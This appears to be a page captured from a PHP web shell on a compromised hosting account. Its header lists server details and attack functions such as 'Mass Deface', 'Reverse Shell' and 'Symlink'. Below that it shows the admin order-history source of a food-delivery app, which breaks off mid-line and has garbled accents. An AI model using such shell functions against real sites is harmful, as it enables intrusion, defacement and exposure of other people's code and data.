Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: delivery_history.php
<?php include '../components/connect.php'; require_once '../components/admin_roles.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if(!$admin_id){ header('location:admin_login.php'); exit(); } ensureAdminRolesSchema($conn); $currentRole = getRoleBySession($conn); $canViewInsights = adminHasPermission($currentRole, 'orders_insights'); date_default_timezone_set('America/Bogota'); $today = new DateTime('today', new DateTimeZone('America/Bogota')); $tomorrow = (clone $today)->modify('+1 day'); $yesterday = (clone $today)->modify('-1 day'); // Determinar primera fecha disponible de pedidos $historic_start = $yesterday->format('Y-m-d'); $min_date_stmt = $conn->query("SELECT MIN(DATE(created_at)) AS min_date FROM `delivery_orders`"); if ($min_date_stmt) { $min_date_row = $min_date_stmt->fetch(PDO::FETCH_ASSOC); if (!empty($min_date_row['min_date'])) { $historic_start = $min_date_row['min_date']; } } // Filtros (por defecto: ayer) $max_history_date = $today->format('Y-m-d'); $fecha_desde = $canViewInsights && isset($_GET['fecha_desde']) && $_GET['fecha_desde'] !== '' ? $_GET['fecha_desde'] : $historic_start; $fecha_hasta = $canViewInsights && isset($_GET['fecha_hasta']) && $_GET['fecha_hasta'] !== '' ? $_GET['fecha_hasta'] : $max_history_date; if ($fecha_hasta > $max_history_date) $fecha_hasta = $max_history_date; if ($fecha_desde > $fecha_hasta) $fecha_desde = $fecha_hasta; $start_dt = DateTime::createFromFormat('Y-m-d H:i:s', $fecha_desde . ' 00:00:00', new DateTimeZone('America/Bogota')) ?: clone $yesterday; $start_dt->setTime(0,0,0); $end_dt = DateTime::createFromFormat('Y-m-d H:i:s', $fecha_hasta . ' 00:00:00', new DateTimeZone('America/Bogota')) ?: clone $yesterday; $end_dt->setTime(0,0,0); $end_dt->modify('+1 day'); if($end_dt > $tomorrow){ $end_dt = clone $tomorrow; } $start_datetime = $start_dt->format('Y-m-d H:i:s'); $end_datetime = $end_dt->format('Y-m-d H:i:s'); // Totales del rango (excluyendo hoy) $select_stats_range = $conn->prepare("SELECT COUNT(*) as total_pedidos, COALESCE(SUM(total_amount), 0) as total_recaudado FROM `delivery_orders` WHERE created_at >= ? AND created_at < ? AND status = 'entregado'"); $select_stats_range->execute([$start_datetime, $end_datetime]); $stats_range = $select_stats_range->fetch(PDO::FETCH_ASSOC) ?: ['total_pedidos' => 0, 'total_recaudado' => 0]; // Pedidos del rango (excluyendo hoy) $select_orders = $conn->prepare( "SELECT o.*, (SELECT GROUP_CONCAT(DISTINCT pr.name ORDER BY pr.name SEPARATOR ', ') FROM delivery_order_preparers dop JOIN preparers pr ON pr.id = dop.preparer_id WHERE dop.order_id = o.id) AS preparer_names, (SELECT GROUP_CONCAT(DISTINCT dop2.preparer_id ORDER BY dop2.preparer_id SEPARATOR ',') FROM delivery_order_preparers dop2 WHERE dop2.order_id = o.id) AS preparer_ids, prep.name AS preparer_name FROM `delivery_orders` o LEFT JOIN `preparers` prep ON o.preparer_id = prep.id WHERE o.created_at >= ? AND o.created_at < ? AND o.status = 'entregado' ORDER BY o.created_at ASC" ); $select_orders->execute([$start_datetime, $end_datetime]); $orders = $select_orders->fetchAll(PDO::FETCH_ASSOC); // CategorÃas y productos (para modal de edición) $select_categories = $conn->prepare("SELECT * FROM `categories` ORDER BY name ASC"); $select_categories->execute(); $categorias = $select_categories->fetchAll(PDO::FETCH_ASSOC); $select_products = $conn->prepare("SELECT p.*, c.name as category_name FROM `products` p LEFT JOIN `categories` c ON p.category = c.id ORDER BY c.name, p.name"); $select_products->execute(); $productos = $select_products->fetchAll(PDO::FETCH_ASSOC); $select_preparers = $conn->prepare("SELECT id, name FROM `preparers` WHERE status = 'activo' ORDER BY name ASC"); $select_preparers->execute(); $preparers = $select_preparers->fetchAll(PDO::FETCH_ASSOC); function normaliza_categoria($str){ $str = mb_strtolower($str, 'UTF-8'); $map = ['á'=>'a','à '=>'a','ä'=>'a','â'=>'a','Ã'=>'a','À'=>'a','Â'=>'a','Ä'=>'a','é'=>'e','è'=>'e','ë'=>'e','ê'=>'e','É'=>'e','È'=>'e','Ê'=>'e','Ë'=>'e','Ã'=>'i','ì'=>'i','ï'=>'i','î'=>'i','Ã'=>'i','ÃŒ'=>'i','ÃŽ'=>'i','Ã'=>'i','ó'=>'o','ò'=>'o','ö'=>'o','ô'=>'o','Ó'=>'o','Ã’'=>'o','Ô'=>'o','Ö'=>'o','ú'=>'u','ù'=>'u','ü'=>'u','û'=>'u','Ú'=>'u','Ù'=>'u','Û'=>'u','Ü'=>'u','ñ'=>'n','Ñ'=>'n','ç'=>'c','Ç'=>'c']; $str = strtr($str, $map); $str = preg_replace('/[^a-z0-9]+/','-',$str); $str = trim($str,'-'); return $str; } $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); // Construir catálogo de productos y categorÃas para el POS $productosCatalogo = []; $productosPorCategoria = []; foreach($productos as $producto){ $catName = $producto['category_name'] ?? 'Sin categorÃa'; $catKey = normaliza_categoria($catName); if(!isset($productosPorCategoria[$catKey])){ $productosPorCategoria[$catKey] = ['nombre' => $catName, 'items' => []]; } $salePrice = isset($producto['sale_price']) && (float)$producto['sale_price'] > 0 ? (float)$producto['sale_price'] : (float)$producto['price']; $costPrice = (float)$producto['price']; $prodData = [ 'id' => (int)$producto['id'], 'name' => $producto['name'], 'price' => $salePrice, 'cost_price' => $costPrice, 'image' => $producto['image'], 'category_key' => $catKey, 'category_name' => $catName, 'preparer_names' => $producto['preparer_names'] ?? '', 'preparer_ids' => $producto['preparer_ids'] ?? '' ]; $productosPorCategoria[$catKey]['items'][] = $prodData; $productosCatalogo[$prodData['id']] = $prodData; } $productosJson = json_encode($productosCatalogo, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) ?: '{}'; $fecha_desde_safe = htmlspecialchars((string)$fecha_desde, ENT_QUOTES, 'UTF-8'); $fecha_hasta_safe = htmlspecialchars((string)$fecha_hasta, ENT_QUOTES, 'UTF-8'); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Historial POS Domicilios | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> :root { --pos-primary: #0ea5e9; --pos-primary-dark: #0284c7; --pos-secondary: #0f172a; --pos-bg: #f8fafc; --pos-surface: #ffffff; --pos-border: #e2e8f0; --pos-text: #1e293b; --pos-text-muted: #64748b; --pos-success: #10b981; --pos-warning: #f59e0b; --pos-danger: #ef4444; --pos-sidebar-width: 380px; --pos-header-height: 64px; } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Inter', system-ui, -apple-system, sans-serif; background: var(--pos-bg); color: var(--pos-text); overflow-x: hidden; } .pos-topbar { height: var(--pos-header-height); background: var(--pos-surface); border-bottom: 1px solid var(--pos-border); display: flex; align-items: center; justify-content: space-between; padding: 0 1.5rem; position: sticky; top: 0; z-index: 100; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.05); } .pos-topbar-left { display: flex; align-items: center; gap: 1.5rem; } .btn-back { display: inline-flex; align-items: center; gap: 0.5rem; color: var(--pos-text-muted); text-decoration: none; font-weight: 600; padding: 0.5rem 1rem; border-radius: 8px; transition: all 0.2s; background: var(--pos-bg); border: 1px solid var(--pos-border); } .btn-back:hover { color: var(--pos-secondary); background: #f1f5f9; border-color: #cbd5e1; } .pos-title { font-size: 1.25rem; font-weight: 800; color: var(--pos-secondary); display: flex; align-items: center; gap: 0.5rem; margin:0; } .pos-title i { color: var(--pos-text-muted); } .pos-workspace { padding: 1.5rem; max-width: 1600px; margin: 0 auto; display: flex; flex-direction: column; gap: 1.5rem; min-height: calc(100vh - var(--pos-header-height)); } .pos-workspace-header { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 1rem; } .btn { display: inline-flex; align-items: center; gap: 0.5rem; padding: 0.75rem 1.5rem; border-radius: 12px; font-weight: 600; cursor: pointer; border: none; transition: all 0.2s; text-decoration: none; font-size: 0.95rem; } .btn-primary { background: linear-gradient(135deg, var(--pos-primary), var(--pos-primary-dark)); color: white; box-shadow: 0 4px 14px rgba(14, 165, 233, 0.3); } .btn-primary:hover { transform: translateY(-1px); box-shadow: 0 6px 20px rgba(14, 165, 233, 0.4); } .btn-outline { background: var(--pos-surface); color: var(--pos-text); border: 1px solid var(--pos-border); } .btn-outline:hover { background: var(--pos-bg); transform: translateY(-1px); box-shadow: 0 4px 12px rgba(0,0,0,0.05); } .stats-container { display: flex; gap: 1.5rem; align-items: stretch; flex-wrap: wrap; } .stat-card.range { flex: 1; min-width: 320px; max-width: 400px; background: var(--pos-surface); border-radius: 16px; padding: 1.25rem; border: 1px solid var(--pos-border); box-shadow: 0 10px 15px -3px rgba(0,0,0,0.02); display: flex; flex-direction: column; justify-content: center; } .stat-header { display: flex; align-items: center; justify-content: space-between; color: var(--pos-text-muted); font-weight: 600; font-size: 0.95rem; margin-bottom: 0.75rem; } .stat-content { display: flex; justify-content: space-between; align-items: center; gap: 1rem; } .stat-left { display: flex; flex-direction: column; } .stat-value { font-size: 2rem; font-weight: 800; color: var(--pos-secondary); line-height: 1; margin-bottom: 0.25rem; } .stat-left div:last-child { font-size: 0.85rem; color: var(--pos-text-muted); font-weight: 600; } .stat-right { background: var(--pos-bg); padding: 0.75rem 1rem; border-radius: 12px; text-align: right; border: 1px solid var(--pos-border); } .stat-right-label { font-size: 0.75rem; text-transform: uppercase; font-weight: 700; color: var(--pos-text-muted); letter-spacing: 0.05em; margin-bottom: 0.25rem; } .stat-right-amount { font-size: 1.35rem; font-weight: 800; color: var(--pos-success); line-height: 1; } .filters-card { flex: 2; min-width: 320px; background: var(--pos-surface); border-radius: 16px; padding: 1.25rem; border: 1px solid var(--pos-border); display: flex; gap: 1rem; align-items: flex-end; flex-wrap: wrap; margin: 0; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.02); } .form-group { display: flex; flex-direction: column; gap: 0.4rem; margin-bottom: 0; } .form-group label { font-size: 0.85rem; font-weight: 600; color: var(--pos-text-muted); margin:0;} .form-group input { padding: 0.75rem 1rem; border: 2px solid var(--pos-border); border-radius: 10px; font-size: 0.95rem; font-weight: 600; color: var(--pos-text); outline: none; transition: border-color 0.2s; font-family: inherit; } .form-group input:focus { border-color: var(--pos-primary); } .orders-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); gap: 1.25rem; margin-top: 0.5rem; } .order-card { background: var(--pos-surface); border-radius: 16px; padding: 1.5rem; border: 1px solid var(--pos-border); box-shadow: 0 10px 25px -5px rgba(0,0,0,0.05); display: flex; flex-direction: column; gap: 1rem; transition: transform 0.2s, box-shadow 0.2s; position: relative; overflow: hidden; } .order-card:hover { transform: translateY(-2px); box-shadow: 0 15px 35px -5px rgba(0,0,0,0.08); border-color: #cbd5e1; } .order-header { display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 0.5rem;} .order-number { font-size: 1.35rem; font-weight: 800; color: var(--pos-secondary); display: flex; align-items: center; gap: 0.5rem; margin:0;} .order-status-badge { font-size: 0.75rem; font-weight: 700; padding: 0.3rem 0.6rem; border-radius: 99px; text-transform: uppercase; letter-spacing: 0.05em; } .badge-pendiente { background: #fef3c7; color: #92400e; } .badge-en_preparacion { background: #e0f2fe; color: #0369a1; } .badge-en_camino { background: #f3e8ff; color: #6b21a8; } .badge-entregado { background: #dcfce7; color: #166534; } .badge-cancelado { background: #fee2e2; color: #991b1b; } .order-meta { display: flex; flex-direction: column; gap: 0.4rem; font-size: 0.9rem; color: var(--pos-text-muted); font-weight: 600; } .order-meta i { width: 16px; text-align: center; } .order-items-list { background: var(--pos-bg); border-radius: 12px; padding: 1rem; border: 1px solid var(--pos-border); max-height: 200px; overflow-y: auto; } .order-item { display: flex; justify-content: space-between; font-size: 0.95rem; font-weight: 600; padding: 0.4rem 0; border-bottom: 1px solid rgba(0,0,0,0.03); color: var(--pos-text); } .order-item:last-child { border-bottom: none; } .item-qty { color: var(--pos-text-muted); margin-right: 0.25rem; } .order-notes { background: #fffbeb; border: 1px solid #fde68a; color: #92400e; padding: 0.75rem; border-radius: 10px; font-size: 0.9rem; font-weight: 600; } .order-total { display: flex; justify-content: space-between; font-size: 1.25rem; font-weight: 800; color: var(--pos-secondary); padding: 1rem; background: var(--pos-bg); border-radius: 12px; border: 1px solid var(--pos-border); align-items: center;} .order-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 0.6rem; margin-top: auto; } .btn-action { width: 100%; padding: 0.6rem; border-radius: 10px; font-weight: 600; font-size: 0.9rem; border: none; cursor: pointer; display: flex; align-items: center; justify-content: center; gap: 0.4rem; transition: background 0.2s, transform 0.1s; } .btn-action:active { transform: scale(0.98); } .btn-edit { background: #e0f2fe; color: #0284c7; } .btn-edit:hover { background: #bae6fd; } .btn-status-btn { background: #f1f5f9; color: #475569; } .btn-status-btn:hover { background: #e2e8f0; } .btn-print { background: #ffedd5; color: #c2410c; } .btn-print:hover { background: #fed7aa; } .btn-delete { background: #fee2e2; color: #991b1b; } .btn-delete:hover { background: #fecaca; } .btn-action.full { grid-column: 1 / -1; } .empty-state { text-align: center; padding: 4rem 2rem; background: var(--pos-surface); border-radius: 16px; border: 1px dashed var(--pos-border); color: var(--pos-text-muted); } .empty-state i { font-size: 3rem; color: #cbd5e1; margin-bottom: 1rem; } .empty-state h3 { font-size: 1.25rem; color: var(--pos-secondary); margin-bottom: 0.5rem; } /* Full-screen POS Modals */ .pos-modal { position: fixed; inset: 0; background: var(--pos-surface); z-index: 1000; display: none; flex-direction: column; overflow: hidden; opacity: 0; transition: opacity 0.25s ease; } .pos-modal.show { display: flex; opacity: 1; } .pos-modal-header { height: 48px; background: var(--pos-secondary); color: white; display: flex; justify-content: space-between; align-items: center; padding: 0 1rem; flex-shrink: 0; } .pos-modal-header-left { display: flex; align-items: center; gap: 0.75rem; } .pos-modal-title { font-size: 1rem; font-weight: 700; display: flex; align-items: center; gap: 0.4rem; margin:0; white-space: nowrap; } .pos-modal-total-badge { display: flex; align-items: center; gap: 0.5rem; background: rgba(255,255,255,0.12); padding: 0.3rem 0.75rem; border-radius: 8px; } .pos-modal-total-label { font-size: 0.7rem; font-weight: 600; color: rgba(255,255,255,0.7); text-transform: uppercase; letter-spacing: 0.05em; } .pos-modal-total-value { font-size: 1.15rem; font-weight: 900; color: #22d3ee; } .pos-modal-items-count { font-size: 0.7rem; color: rgba(255,255,255,0.5); font-weight: 600; } .btn-close-modal { background: rgba(255,255,255,0.1); color: white; border: none; padding: 0.35rem 0.75rem; border-radius: 6px; font-weight: 600; cursor: pointer; transition: background 0.2s; display: flex; align-items: center; gap: 0.4rem; font-size: 0.85rem;} .btn-close-modal:hover { background: rgba(255,255,255,0.2); } .pos-modal-body { display: flex; flex: 1; height: calc(100vh - 48px); overflow: hidden; } .pos-pane-left { flex: 1; display: flex; flex-direction: column; background: var(--pos-bg); border-right: 1px solid var(--pos-border); min-width: 0; } .pos-categories { padding: 0.5rem 1rem; display: flex; gap: 0.35rem; overflow-x: auto; border-bottom: 1px solid var(--pos-border); background: var(--pos-surface); scrollbar-width: none; flex-shrink: 0; } .pos-categories::-webkit-scrollbar { display: none; } .pos-search-bar { padding: 0.6rem 1rem; border-bottom: 1px solid var(--pos-border); background: var(--pos-surface); flex-shrink: 0; } .pos-search-input { width: 100%; padding: 0.5rem 0.75rem; border: 2px solid var(--pos-border); border-radius: 8px; font-size: 0.85rem; font-weight: 600; outline: none; background: var(--pos-bg); transition: border 0.2s; color: var(--pos-text); } .pos-search-input:focus { border-color: var(--pos-primary); background-color: var(--pos-surface); } .btn-category { white-space: nowrap; padding: 0.4rem 0.9rem; border-radius: 99px; font-weight: 700; font-size: 0.8rem; cursor: pointer; border: 2px solid var(--pos-border); background: var(--pos-surface); color: var(--pos-text-muted); transition: all 0.2s; } .btn-category.active, .btn-category:hover { background: var(--pos-primary); border-color: var(--pos-primary); color: white; box-shadow: 0 2px 8px rgba(14, 165, 233, 0.25); } .pos-products-wrap { flex: 1; overflow-y: auto; padding: 0.75rem; } .pos-products-wrap::-webkit-scrollbar { width: 6px; } .pos-products-wrap::-webkit-scrollbar-thumb { background: #cbd5e1; border-radius: 3px; } .pos-products-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 0.6rem; } .pos-product { background: var(--pos-surface); border-radius: 10px; padding: 0.5rem; border: 1px solid var(--pos-border); cursor: pointer; display: flex; flex-direction: column; gap: 0.25rem; transition: all 0.2s; position: relative; overflow: hidden; } .pos-product:hover { border-color: var(--pos-primary); box-shadow: 0 4px 12px -2px rgba(14, 165, 233, 0.15); transform: translateY(-1px); } .pos-product:active { transform: scale(0.98); } .pos-product-img { width: 100%; height: 75px; object-fit: cover; border-radius: 8px; background: var(--pos-bg); } .pos-product-name { font-weight: 700; color: var(--pos-secondary); font-size: 0.78rem; line-height: 1.2; margin: 0; overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; line-clamp: 2; } .pos-product-price { font-weight: 800; color: var(--pos-success); font-size: 0.85rem; margin-top: auto; } .pos-product-qty-control { display: flex; align-items: center; justify-content: space-between; gap: 0.25rem; margin-top: 0.2rem; border-top: 1px dashed var(--pos-border); padding-top: 0.3rem; } .btn-qty-pos { width: 28px; height: 28px; border-radius: 7px; border: none; background: #e0f2fe; color: var(--pos-primary-dark); font-weight: 800; font-size: 0.9rem; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: background 0.2s; } .btn-qty-pos:hover { background: #bae6fd; } .btn-qty-pos.minus { background: #fee2e2; color: #b91c1c; } .btn-qty-pos.minus:hover { background: #fecaca; } .qty-display-pos { font-weight: 800; font-size: 0.9rem; width: 22px; text-align: center; color: var(--pos-secondary);} .pos-pane-right { width: 380px; display: flex; flex-direction: column; background: var(--pos-surface); z-index: 10; box-shadow: -4px 0 15px rgba(0,0,0,0.04); flex-shrink: 0; border-left: 1px solid var(--pos-border);} .pos-right-scroll { flex: 1; overflow-y: auto; display: flex; flex-direction: column; } .pos-right-scroll::-webkit-scrollbar { width: 5px; } .pos-right-scroll::-webkit-scrollbar-thumb { background: #cbd5e1; border-radius: 3px; } .pos-section-title { font-size: 0.7rem; font-weight: 800; color: var(--pos-text-muted); text-transform: uppercase; letter-spacing: 0.08em; padding: 0.6rem 0.85rem 0.3rem; display: flex; align-items: center; gap: 0.35rem; margin: 0; } .pos-section-title i { font-size: 0.65rem; } .pos-ticket-header { padding: 0.6rem 0.85rem; border-bottom: 1px solid var(--pos-border); display: flex; flex-direction: column; gap: 0.45rem; background: var(--pos-bg); } .pos-row { display: grid; grid-template-columns: 1fr 1fr; gap: 0.45rem; } .pos-input-wrap { display: flex; flex-direction: column; gap: 0.15rem; } .pos-input-wrap label { font-size: 0.68rem; font-weight: 700; color: var(--pos-text-muted); text-transform: uppercase; letter-spacing: 0.05em; margin:0;} .pos-input { padding: 0.4rem 0.6rem; border: 1.5px solid var(--pos-border); border-radius: 7px; font-weight: 600; font-size: 0.82rem; background: var(--pos-surface); color: var(--pos-secondary); transition: border 0.2s; width: 100%; outline: none; font-family: inherit; } .pos-input:focus { border-color: var(--pos-primary); box-shadow: 0 0 0 2px rgba(14,165,233,0.12); } textarea.pos-input { resize: vertical; min-height: 40px; } .pos-cart { flex: 1; overflow-y: auto; padding: 0.5rem 0.85rem; display: flex; flex-direction: column; gap: 0.35rem; background: #fff; min-height: 80px; } .pos-cart::-webkit-scrollbar { width: 4px; } .pos-cart::-webkit-scrollbar-thumb { background: #cbd5e1; border-radius: 2px; } .cart-empty { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 1.5rem; color: var(--pos-text-muted); } .pos-cart-item { background: var(--pos-bg); border: 1px solid var(--pos-border); border-radius: 8px; padding: 0.5rem 0.6rem; display: flex; flex-direction: column; gap: 0.5rem; } .pos-cart-item-header { display: flex; justify-content: space-between; align-items: flex-start; } .pos-cart-item-name { font-weight: 700; color: var(--pos-secondary); font-size: 0.82rem; } .pos-cart-item-price { font-weight: 600; color: var(--pos-text-muted); font-size: 0.75rem; } .pos-cart-item-controls { display: flex; justify-content: space-between; align-items: center; } .pos-cart-qty-group { display: flex; align-items: center; gap: 0.3rem; background: var(--pos-surface); border: 1px solid var(--pos-border); border-radius: 6px; padding: 0.15rem; } .btn-cart-remove { border: none; background: #fee2e2; color: #b91c1c; border-radius: 6px; padding: 0.25rem 0.4rem; font-weight: 700; font-size: 0.7rem; cursor: pointer; transition: background 0.2s; } .btn-cart-remove:hover { background: #fecaca; } .pos-ticket-footer { padding: 0.75rem 0.85rem; display: flex; flex-direction: column; gap: 0.6rem; background: var(--pos-surface); border-top: 2px solid var(--pos-border); flex-shrink: 0; } .pos-total-row { display: flex; justify-content: space-between; align-items: flex-end; } .pos-total-label { font-size: 0.85rem; font-weight: 700; color: var(--pos-text-muted); } .pos-total-amount { font-size: 1.4rem; font-weight: 900; color: var(--pos-secondary); line-height: 1; } .pos-action-btns { display: flex; gap: 0.5rem; flex-direction: column;} .btn-pos-action { width: 100%; padding: 0.7rem; border-radius: 10px; font-weight: 800; font-size: 0.95rem; border: none; cursor: pointer; color: white; transition: transform 0.2s, box-shadow 0.2s; display: flex; align-items: center; justify-content: center; gap: 0.5rem; } .btn-pos-action:hover { transform: translateY(-1px); } .btn-pos-action:active { transform: scale(0.98); } .btn-pos-save { background: linear-gradient(135deg, var(--pos-primary), var(--pos-primary-dark)); box-shadow: 0 6px 16px rgba(14, 165, 233, 0.3); } .pos-preparers-mini { max-height: 80px; overflow-y: auto; border: 2px solid var(--pos-border); border-radius: 7px; background: var(--pos-surface); padding: 0.3rem; display: grid; grid-template-columns: 1fr 1fr; gap: 0.2rem; } .pos-prep-item { display: flex; align-items: center; gap: 0.3rem; font-size: 0.72rem; font-weight: 600; padding: 0.2rem 0.3rem; border-radius: 6px; border: 1px solid transparent; cursor: pointer; color: var(--pos-secondary);} .pos-prep-item:hover { background: var(--pos-bg); } .pos-prep-item input { accent-color: var(--pos-primary); width: 14px; height: 14px;} .pos-prep-item.is-selected { background: #f0f9ff; border-color: var(--pos-primary); color: var(--pos-primary-dark);} .pos-modal-tabs { display: none; } .category-placeholder { text-align: center; color: var(--pos-text-muted); font-weight: 600; padding: 2rem; background: var(--pos-surface); border-radius: 10px; border: 2px dashed var(--pos-border); } .btn-back-to-menu { display: none; } @media (max-width: 992px) { .pos-topbar { padding: 0 1rem; } .pos-title .modal-title-text { display: none; } .btn-back .btn-text { display: none; } .pos-workspace { padding: 1rem; } } @media (max-width: 768px) { .pos-modal-header { height: 60px; padding: 0 0.75rem; } .pos-modal-title .modal-title-text { display: none; } .pos-modal-header-left { gap: 0.5rem; } .pos-modal-total-badge { padding: 0.25rem 0.5rem; } .pos-modal-total-value { font-size: 1rem; } .pos-modal-tabs { display: flex; background: rgba(255,255,255,0.05); border-radius: 10px; padding: 3px; margin: 0 0.5rem; } .pos-tab-btn { background: transparent; border: none; color: rgba(255,255,255,0.6); padding: 0.5rem 0.8rem; border-radius: 8px; font-weight: 700; font-size: 0.75rem; cursor: pointer; display: flex; align-items: center; gap: 0.4rem; position: relative; } .pos-tab-btn.active { background: var(--pos-primary); color: white; } .pos-tab-btn .tab-badge { background: var(--pos-danger); color: white; font-size: 0.6rem; padding: 1px 5px; border-radius: 10px; position: absolute; top: -2px; right: -2px; box-shadow: 0 2px 4px rgba(0,0,0,0.2); transition: transform 0.2s cubic-bezier(0.175, 0.885, 0.32, 1.275); } .pos-tab-btn .tab-badge.pulse { transform: scale(1.4); } .pos-tab-btn .tab-badge:empty { display: none; } .pos-tab-btn .tab-badge[data-count="0"] { display: none; } .btn-close-modal .btn-text { display: none; } .btn-close-modal { padding: 0.5rem; } .pos-modal-body { flex-direction: row; height: calc(100vh - 60px); } .pos-pane-right { width: 100%; position: absolute; inset: 0; transform: translateX(100%); transition: transform 0.3s cubic-bezier(0.4, 0, 0.2, 1); background: white; border-left: none; } .pos-pane-left { width: 100%; transition: transform 0.3s cubic-bezier(0.4, 0, 0.2, 1); } .pos-modal-body.show-order .pos-pane-right { transform: translateX(0); } .pos-modal-body.show-order .pos-pane-left { transform: translateX(-100%); } .pos-products-grid { grid-template-columns: repeat(auto-fill, minmax(140px, 1fr)); } .pos-product-img { height: 90px; } .stats-container { gap: 1rem; } .stat-card.range, .filters-card { width: 100%; min-width: 100%; max-width: none; } .filters-card { flex-direction: column; align-items: stretch; } .filters-card .form-group { width: 100%; } .filters-card .btn { width: 100%; justify-content: center; } .btn-action span { display: none; } .orders-grid { grid-template-columns: 1fr; } .btn-back-to-menu { display: flex; align-items: center; gap: 0.6rem; background: rgba(14, 165, 233, 0.1); color: var(--pos-primary); border: 1px solid rgba(14, 165, 233, 0.2); padding: 0.8rem 1rem; width: 100%; font-weight: 800; margin-bottom: 1.25rem; border-radius: 12px; cursor: pointer; font-size: 0.9rem; transition: all 0.2s; } .btn-back-to-menu:active { background: var(--pos-primary); color: white; transform: scale(0.98); } } @media (max-width: 480px) { .pos-modal-total-badge .pos-modal-total-label { display: none; } .pos-modal-items-count { display: none; } .pos-tab-btn span:not(.tab-badge) { display: none; } .pos-tab-btn { padding: 0.6rem 1rem; } .pos-products-grid { grid-template-columns: 1fr 1fr; } .pos-product-img { height: 80px; } } </style> </head> <body class="pos-app"> <header class="pos-topbar"> <div class="pos-topbar-left"> <a href="delivery_orders.php" class="btn-back"><i class="fas fa-arrow-left"></i> <span class="btn-text">Volver a Domicilios</span></a> <h1 class="pos-title"><i class="fas fa-history"></i> <span class="modal-title-text">Historial de Pedidos</span></h1> </div> <div class="pos-topbar-right"> <div class="pos-topbar-actions"> <a href="dashboard.php" class="btn btn-outline"><i class="fas fa-chart-line"></i> <span class="btn-text">Ir al Panel</span></a> </div> </div> </header> <section class="pos-workspace"> <?php if ($canViewInsights): ?> <div class="stats-container"> <div class="stat-card range"> <div class="stat-header"> <span>Pedidos Entregados en Rango</span> <i class="fas fa-check-circle" style="color:var(--pos-success);"></i> </div> <div class="stat-content"> <div class="stat-left"> <div class="stat-value"><?= (int)$stats_range['total_pedidos']; ?></div> <div>Pedidos Entregados</div> </div> <div class="stat-right"> <div class="stat-right-label">Total Recaudado</div> <div class="stat-right-amount"><?= htmlspecialchars(formatMoney((float)$stats_range['total_recaudado'], $conn)); ?></div> </div> </div> </div> <form class="filters-card" method="GET"> <div class="form-group" style="flex:1;"> <label for="fecha_desde">Desde</label> <input type="date" id="fecha_desde" name="fecha_desde" value="<?= htmlspecialchars($fecha_desde); ?>"> </div> <div class="form-group" style="flex:1;"> <label for="fecha_hasta">Hasta</label> <input type="date" id="fecha_hasta" name="fecha_hasta" value="<?= htmlspecialchars($fecha_hasta); ?>"> </div> <div class="form-group"> <button class="btn btn-primary" type="submit"><i class="fas fa-search"></i> Aplicar</button> </div> <div class="form-group"> <button class="btn btn-outline" type="button" onclick="resetHistoryFilters()"><i class="fas fa-undo"></i> Restablecer</button> </div> </form> </div> <?php endif; ?> <h2 style="font-size:1.1rem;font-weight:800;color:var(--pos-secondary);margin:0;display:flex;align-items:center;gap:0.5rem;"><i class="fas fa-list-ul" style="color:var(--pos-primary);"></i> Pedidos en Rango</h2> <?php if(empty($orders)): ?> <div class="empty-state"> <i class="fas fa-box-open" style="font-size:3rem; color:#cbd5e1; margin-bottom:1rem;"></i> <h3>No hay pedidos para este rango de fechas</h3> <p>Intenta seleccionar fechas diferentes.</p> </div> <?php else: ?> <div class="orders-grid" id="historyOrdersContainer"> <?php foreach($orders as $index => $order): $items = json_decode($order['order_items'], true); $displayNumber = (isset($order['order_number']) && (int)$order['order_number'] > 0) ? (int)$order['order_number'] : ($index + 1); $preparerNames = trim((string)($order['preparer_names'] ?? '')); if($preparerNames === '' && !empty($order['preparer_name'])) $preparerNames = (string)$order['preparer_name']; $preparerIdsAttr = trim((string)($order['preparer_ids'] ?? '')); if($preparerIdsAttr === '' && isset($order['preparer_id']) && $order['preparer_id'] !== null) $preparerIdsAttr = (string)(int)$order['preparer_id']; $statusLabels = ['pendiente'=>'Pendiente','en_preparacion'=>'En Preparación','en_camino'=>'En Camino','entregado'=>'Entregado','cancelado'=>'Cancelado']; $statusLabel = $statusLabels[$order['status']] ?? ucwords(str_replace('_',' ', $order['status'])); ?> <article class="order-card" data-order-id="<?= (int)$order['id']; ?>" data-customer="<?= htmlspecialchars($order['customer_name'] ?? '', ENT_QUOTES, 'UTF-8'); ?>" data-phone="<?= htmlspecialchars($order['phone'] ?? '', ENT_QUOTES, 'UTF-8'); ?>" data-address="<?= htmlspecialchars($order['address'] ?? '', ENT_QUOTES, 'UTF-8'); ?>" data-payment="<?= htmlspecialchars($order['payment_method'] ?? '', ENT_QUOTES, 'UTF-8'); ?>" data-notes="<?= htmlspecialchars($order['notes'] ?? '', ENT_QUOTES, 'UTF-8'); 